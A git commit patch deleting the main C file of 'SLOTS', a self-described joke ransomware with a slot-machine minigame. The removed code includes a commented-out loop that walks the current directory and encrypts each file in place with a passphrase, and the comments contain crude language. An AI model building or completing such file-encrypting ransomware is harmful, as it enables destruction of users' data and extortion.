From 80ed3fd818905cb08ad04abc166a4b2c936955e3 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Fri, 30 Aug 2024 18:49:35 -0500 Subject: Rename main & get multithreading going --- src/main.c | 207 ------------------------------------------------------------- 1 file changed, 207 deletions(-) delete mode 100644 src/main.c (limited to 'src/main.c') diff --git a/src/main.c b/src/main.c deleted file mode 100644 index 564846d..0000000 --- a/src/main.c +++ /dev/null @@ -1,207 +0,0 @@ -/*** - * SLOTS - Feelin' Lucky? - * - * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money. - * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it - * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit - * - * -*/ - -#define _GNU_SOURCE - -#include "main.h" - -#include "encryption.h" -#include "search.h" -#include "screen.h" -#include "ll.h" - -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -#define PHRASESIZE 32 - -const char *argp_program_version = "Alpha-0.1"; -const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)"; - -static char doc[] = "lol"; -static char argdoc[] = "lmao"; - -static struct argp_option options[] = { - {.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0}, - {"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0}, - {"noencrypt", 'n', 0, 0, "Don't encrypt files when ran, just play slots", 0}, - {0} -}; -#define SKIPSLOTS 0x1 -#define SKIPENC 0x2 - -struct arguments { - char *inputpass; - int flags; -}; - -static error_t parse_opt(int key, char *arg, struct argp_state *state) { - struct arguments *args = state->input; - - switch(key) { - case 'p': - /* Specifying the start option of "-p=" errors out unless this is done. - // Technically a user should use --passphrase= if they want to use the = sign, but I think - // this is how it should work. RMS can suck it */ - if(*arg == '=') - arg++; - - args->inputpass = arg; - if(strlen(args->inputpass) != PHRASESIZE) { - error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE); - } - break; - - case 'd': - args->flags |= SKIPSLOTS; - break; - - case 'n': - args->flags |= SKIPENC; - break; - - default: - return ARGP_ERR_UNKNOWN; - } - - return 0; -} - -static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0}; - - -int genphrase(char *phrase, size_t phrasesize) { - memset(phrase, 0, phrasesize); - for(size_t i = 0; i < phrasesize; i++) { - phrase[i] = randombytes_uniform(('Z' - 'A') + 1) + 'A'; - if(randombytes_random() > (0xffffffff / 2)) - phrase[i] += ('a' - 'A'); - } - - return 0; -} - -// roflmao fuck this project i'm too tired to bother with making it nice -int doslots(struct bullshit *stuff) { - // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted - stuff->handler = (struct sigaction){ - .sa_flags = SA_SIGINFO, - .sa_mask = SIGINT | SIGWINCH, - .sa_sigaction = catcher, - }; - doinit(&stuff->handler); - docolors(); - - getmaxyx(stdscr, stuff->row, stuff->col); - stuff->randphrase = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1); - stuff->banner = create_banner(stuff->col, stuff->randphrase); - - init_items(stuff->items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs); - stuff->menu = new_menu(stuff->items); - if(stuff->menu == NULL) { - endwin(); - error(1, errno, "Could not create menu"); - } - - stuff->menuholder = newwin(1, stuff->col, stuff->row - 1, 0); - keypad(stuff->menuholder, TRUE); - init_custom_menu_format(stuff->menuholder, stuff->menu, (int []){1, stuff->col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC); - - stuff->slots.slotwin = newwin(stuff->row - 2, stuff->col, 1, 0); - if(stuff->slots.slotwin == NULL) { - endwin(); - error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window"); - } - init_slotholder(&stuff->slots); - - doupdate(); - - stuff->params = (struct params){ - .bannerwin = stuff->banner, - .menu = stuff->menu, - .menuholder = stuff->menuholder, - .numspins = 3, - .price = 1, - .slots = &stuff->slots, - }; - - handle_input(stuff->menuholder, stuff->menu, &stuff->params); - - unpost_menu(stuff->menu); - free_menu(stuff->menu); - for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) - free_item(stuff->items[i]); - - endwin(); - - return 0; -} - -int main(int argc, char *argv[]) { - struct arguments args = { - .inputpass = NULL, - .flags = 0 - }; - argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args); - - if(args.flags == (SKIPENC | SKIPSLOTS)) - error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure"); - - struct bullshit stuff; - doslots(&stuff); - - // if(args.inputpass != NULL) { - // printf("Using input passphrase \"%s\"\n", args.inputpass); - // } else { - // char phrase[PHRASESIZE]; - // genphrase(phrase, PHRASESIZE); - - // printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase); - - // if(args.flags & SKIPSLOTS != 0) { - // printf("Hit Enter to contine, or CTRL+C to cancel..."); - // getchar(); - // } - // } - - /* Get files - struct nodelist *files = scanfiles("./", alphasort); - - // Encrypt those files - for(struct nodelist *p = files; p != NULL; p = p->next) { - int fd = open(p->fullpath, O_RDWR); - if(fd < 0) { - error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath); - continue; - } - - passencblock(fd, phrase); - close(fd); - } - - nodelist_delete(files); - //*/ - - return 0; -} \ No newline at end of file -- cgit v1.2.3